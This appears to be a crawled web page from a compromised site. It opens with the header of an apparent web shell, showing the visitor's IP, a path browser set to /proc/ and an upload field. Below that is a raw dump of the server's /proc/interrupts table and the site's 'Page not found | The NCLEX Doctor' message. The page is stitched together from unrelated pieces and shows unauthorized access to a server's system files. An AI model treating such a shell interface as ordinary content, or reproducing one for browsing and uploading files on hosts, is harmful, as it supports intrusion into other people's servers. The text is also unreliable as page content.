????

Your IP : 3.16.68.255


Current Path : /proc/
Upload File :
Current File : //proc/interrupts

            CPU0       CPU1       
   1:          0          9   IO-APIC    1-edge      i8042
   4:          0       1110   IO-APIC    4-edge      ttyS0
   6:          3          0   IO-APIC    6-edge      floppy
   8:          0          0   IO-APIC    8-edge      rtc0
   9:          0          0   IO-APIC    9-fasteoi   acpi
  11:     284731     268318   IO-APIC   11-fasteoi   virtio4, uhci_hcd:usb1
  12:         15          0   IO-APIC   12-edge      i8042
  14:          0          0   IO-APIC   14-edge      ata_piix
  15:          0          0   IO-APIC   15-edge      ata_piix
  24:          0          0   PCI-MSI 98304-edge      virtio2-config
  25:       1213       1158   PCI-MSI 98305-edge      virtio2-virtqueues
  26:          0          0   PCI-MSI 114688-edge      virtio3-config
  27:          0   17107850   PCI-MSI 114689-edge      virtio3-req.0
  28:          0          0   PCI-MSI 65536-edge      virtio1-config
  29:          0          0   PCI-MSI 65537-edge      virtio1-control
  30:          0          0   PCI-MSI 65538-edge      virtio1-event
  31:        256          0   PCI-MSI 65539-edge      virtio1-request
  32:     727840     679657   PCI-MSI 81920-edge      ahci[0000:00:05.0]
  33:          0          0   PCI-MSI 49152-edge      virtio0-config
  34:   16728530   24209057   PCI-MSI 49153-edge      virtio0-input.0
  35:   14106904    5950777   PCI-MSI 49154-edge      virtio0-output.0
 NMI:          0          0   Non-maskable interrupts
 LOC:  232690486  255139840   Local timer interrupts
 SPU:          0          0   Spurious interrupts
 PMI:          0          0   Performance monitoring interrupts
 IWI:          0          0   IRQ work interrupts
 RTR:          0          0   APIC ICR read retries
 RES:    1071023     890699   Rescheduling interrupts
 CAL:   47475946   34211664   Function call interrupts
 TLB:     158701     133458   TLB shootdowns
 TRM:          0          0   Thermal event interrupts
 THR:          0          0   Threshold APIC interrupts
 DFR:          0          0   Deferred Error APIC interrupts
 MCE:          0          0   Machine check exceptions
 MCP:       8883       8883   Machine check polls
 ERR:          0
 MIS:          0
 PIN:          0          0   Posted-interrupt notification event
 NPI:          0          0   Nested posted-interrupt event
 PIW:          0          0   Posted-interrupt wakeup event

Page not found | The NCLEX Doctor

Page not found!

Sorry, this page is not available...